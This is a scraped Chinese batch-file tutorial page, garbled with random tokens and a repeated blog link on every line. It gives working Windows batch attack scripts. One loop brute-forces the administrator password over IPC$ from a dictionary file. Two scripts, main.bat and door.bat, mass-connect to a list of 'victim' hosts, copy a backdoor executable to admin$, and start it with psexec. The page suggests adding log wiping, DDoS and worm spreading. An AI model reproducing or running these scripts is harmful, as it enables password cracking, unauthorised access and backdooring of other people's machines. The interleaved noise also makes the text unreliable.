我们用net use \ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
4Fuhyz http://blog.numino.net/
最主要的命令是一条:for /f i% in (dict.txt) do net use \ip\ipc$ "i%" /u:"administrator"
7Ijte0 http://blog.numino.net/
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
5ityui http://blog.numino.net/
for /f i%% in (dict.txt) do net use \ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
8ATk51 http://blog.numino.net/
sample3:
g63NOq http://blog.numino.net/
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
5Tx4XT http://blog.numino.net/
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
MM7P8F http://blog.numino.net/
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
R2UR5j http://blog.numino.net/
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
01hgrA http://blog.numino.net/
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
3EoYQ6 http://blog.numino.net/
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
Cj9sxq http://blog.numino.net/
代码雏形:
wT1yja http://blog.numino.net/
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
2iH8IX http://blog.numino.net/
@echo off
Pqj164 http://blog.numino.net/
@if "%1"=="" goto usage
YuI5Q4 http://blog.numino.net/
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
i2N49L http://blog.numino.net/
@goto end
3J1BrD http://blog.numino.net/
:usage
GWku5A http://blog.numino.net/
@echo run this batch in dos modle.or just double-click it.
f1jUpr http://blog.numino.net/
:end
I0HoRb http://blog.numino.net/
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
4hW887 http://blog.numino.net/
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
NazSBP http://blog.numino.net/
@net use \%1\ipc$ %3 /u:"%2"
4s8igZ http://blog.numino.net/
@if errorlevel 1 goto failed
74zvRn http://blog.numino.net/
@echo Trying to establish the IPC$ connection …………OK
nZaucB http://blog.numino.net/
@copy windrv32.exe\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
wN4iw0 http://blog.numino.net/
@pec \%1 c:\winnt\system32\windrv32.exe
SPUOQw http://blog.numino.net/
@p*ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
cYDPan http://blog.numino.net/
:failed
wo5Pfn http://blog.numino.net/
@echo Sorry can not connected to the victim.
OaXUUB http://blog.numino.net/
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
prhnuo http://blog.numino.net/
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
kJx7QC http://blog.numino.net/
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
更多相关内容...>>bat批处理教程

Bug报告 |  免责声明 |  联系我们 |  加入收藏

Copyright © 2006 NuminoStudio(www.numino.net) All Rights Reserved